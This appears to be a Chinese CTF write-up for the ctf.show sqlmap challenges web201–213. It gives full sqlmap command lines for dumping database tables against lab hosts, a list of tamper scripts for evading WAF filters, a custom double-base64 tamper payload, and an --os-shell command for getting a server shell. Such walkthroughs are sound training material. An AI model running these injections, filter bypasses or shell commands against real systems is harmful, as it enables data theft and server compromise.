web201~213学习使用sqlmap

sqlmap使用手册

web201:

hint:

python sqlmap.py -u http://08c97a95-dcb0-4ea3-8a44-65eeaabc0085.challenge.ctf.show/api/?id=1 --referer http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/sqlmap.php

这里好像不用 --random-agent

爆表名 --current-db --tables

python sqlmap.py -u http://08c97a95-dcb0-4ea3-8a44-65eeaabc0085.challenge.ctf.show/api/?id=1 --referer http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/sqlmap.php --current-db --tables

爆字段:-T :指定表;—columns :查看所有的字段;-C :指定字段

python sqlmap.py -u http://08c97a95-dcb0-4ea3-8a44-65eeaabc0085.challenge.ctf.show/api/?id=1 --referer http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/sqlmap.php --current-db --tables -T ctfshow_user --columns

爆字段内容:—dump :查看数据

python sqlmap.py -u http://08c97a95-dcb0-4ea3-8a44-65eeaabc0085.challenge.ctf.show/api/?id=1 --referer http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/sqlmap.php --current-db --tables -T ctfshow_user --columns --dump

得到flag

web202:

hint:使用--data 调整sqlmap的请求方式

—data:指定扫描的参数,get/post都适用

python sqlmap.py -u http://532248f5-c35e-4ed7-96c4-63608d42df8b.challenge.ctf.show/api/?id=1 --referer http://532248f5-c35e-4ed7-96c4-63608d42df8b.challenge.ctf.show/sqlmap.php --data="id=1"
--current-db --tables -T ctfshow_user --columns --dump

东西都和上一题一样。

 web203:

hint:使用--method 调整sqlmap的请求方式

method=get;post;put;delete。

–method 指定 put 请求方式,url 要带 index.php,还要加上 --headers=“Content-Type: text/plain” 便于 put 接收表单参数。

 python sqlmap.py -u http://484e0ae4-c5ad-4245-a632-7d4d1324088b.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain”  --data="id=1" --referer http://484e0ae4-c5ad-4245-a632-7d4d1324088b.challenge.ctf.show/sqlmap.php --current-db --tables -T ctfshow_user --columns -dump

web204:

hint:使用--cookie 提交cookie数据

 python sqlmap.py -u http://80f6f154-8c9f-40a8-8853-f60691aab8f0.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain”  --data="id=1" --referer http://80f6f154-8c9f-40a8-8853-f60691aab8f0.challenge.ctf.show/sqlmap.php --current-db --tables -T ctfshow_user --columns -dump --cookie="PHPSESSID=; ctfshow="

web205:

hint:api调用需要鉴权

—safe-url:检测盲注阶段时,sqlmap会发送大量失败请求,可能导致服务器端销毁session

—safe-freq :每发送多少次注入请求后,发送一次正常请求,配合—safe-url使用

 python sqlmap.py -u http://479104e9-e982-4dc8-be3c-b5e3e73c91e0.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain”  --data="id=1" --referer http://479104e9-e982-4dc8-be3c-b5e3e73c91e0.challenge.ctf.show/sqlmap.php --safe-url http://479104e9-e982-4dc8-be3c-b5e3e73c91e0.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flax --columns -C flagx --dump

web206:

hint:sql需要闭合()

这题和上题一样,表名和字段名字不太一样。

 python sqlmap.py -u http://e7f8b6bf-cd9f-4d2e-a045-e777cc9ba807.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain”  --data="id=1" --referer http://e7f8b6bf-cd9f-4d2e-a045-e777cc9ba807.challenge.ctf.show/sqlmap.php --safe-url http://e7f8b6bf-cd9f-4d2e-a045-e777cc9ba807.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flaxc --columns --dump

web207:

tamper使用

过滤了空格--tamper=space2comment

常见的tamper

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引号

equaltolike.pylike代替等号

space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py空格替换为#号,随机字符串以及换行符

apostrophenullencode.py绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py(mssql)空格替换为其它空符号

base64encode.py 用base64编码替换

space2mssqlhash.py 替换空格

modsecurityversioned.py过滤空格,包含完整的查询版本注释

space2mysqlblank.py 空格替换其它空白符号(mysql)

between.py用between替换大于号(>)

space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py围绕SQL关键字添加多个空格

space2plus.py用+替换空格

bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

nonrecursivereplacement.py双重查询语句,取代SQL关键字

space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py双url编码(不处理以编码的)

unionalltounion.py替换UNION ALLSELECT UNION SELECT

charencode.py url编码

randomcase.py随机大小写

unmagicquotes.py宽字符绕过 GPCaddslashes

randomcomments.py用/**/分割sql关键字

charunicodeencode.py字符串 unicode 编码

securesphere.py追加特制的字符串

versionedmorekeywords.py注释绕过

space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’

halfversionedmorekeywords.py关键字前加注释
 python sqlmap.py -u http://26b857e9-b77a-4fee-8e7d-2522e1a340e5.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain”  --data="id=1" --referer http://26b857e9-b77a-4fee-8e7d-2522e1a340e5.challenge.ctf.show/sqlmap.php --safe-url http://26b857e9-b77a-4fee-8e7d-2522e1a340e5.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flaxca --columns --dump --tamper=space2comment

web208:

和上题一样,表名不一样

 python sqlmap.py -u http://d554b5b6-792d-4155-aa01-677d99496525.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain”  --data="id=1" --referer http://d554b5b6-792d-4155-aa01-677d99496525.challenge.ctf.show/sqlmap.php --safe-url http://d554b5b6-792d-4155-aa01-677d99496525.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flaxcac --columns --dump --tamper=space2comment

web209,只能喵喵喵

web210

hint:

 function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
      

strrev:php的反转字符串函数

Python字符串反转函数的基本用法是使用内置函数reversed()

a='abcd'
print("".join(reversed(a)))

输出:dcba

payload

b64encode("".join(reversed(b64encode("".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')
python sqlmap.py -u http://ad5d645a-a820-4c78-b584-d8cd265593f4.challenge.ctf.show/api/index.php --method=PUT  --headers=“Content-Type: text/plain” --data="id=1" --referer http://ad5d645a-a820-4c78-b584-d8cd265593f4.challenge.ctf.show/sqlmap.php --safe-url="http://ad5d645a-a820-4c78-b584-d8cd265593f4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --current-db --tables -T ctfshow_flavi --columns --dump --tamper=mytamper

web211

hint:

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ /', $str);
}
python sqlmap.py -u http://8c10214f-10a3-401a-87af-4732812c0cb2.challenge.ctf.show/api/index.php --method=PUT  --headers=“Content-Type: text/plain” --data="id=1" --referer http://8c10214f-10a3-401a-87af-4732812c0cb2.challenge.ctf.show/sqlmap.php --safe-url="http://8c10214f-10a3-401a-87af-4732812c0cb2.challenge.ctf.show/api/getToken.php" --safe-freq=1 --current-db --tables -T ctfshow_flavia --columns --dump --tamper="mytamper,space2comment.py"

web212

hint:

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ |\*/', $str);
}

payload(PS不知道为什么用两个脚本就不行)

retVal = retVal.replace(' ',chr(9))

web213:

hint:练习使用--os-shell 一键getshell

--batch 全部都选yes

python sqlmap.py -u http://02782ab8-9bd1-4603-b46e-032fb3c00d3c.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain” --data="id=1" --referer http://02782ab8-9bd1-4603-b46e-032fb3c00d3c.challenge.ctf.show/sqlmap.php --safe-url="http://02782ab8-9bd1-4603-b46e-032fb3c00d3c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --batch --tamper=mytamper --os-shell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值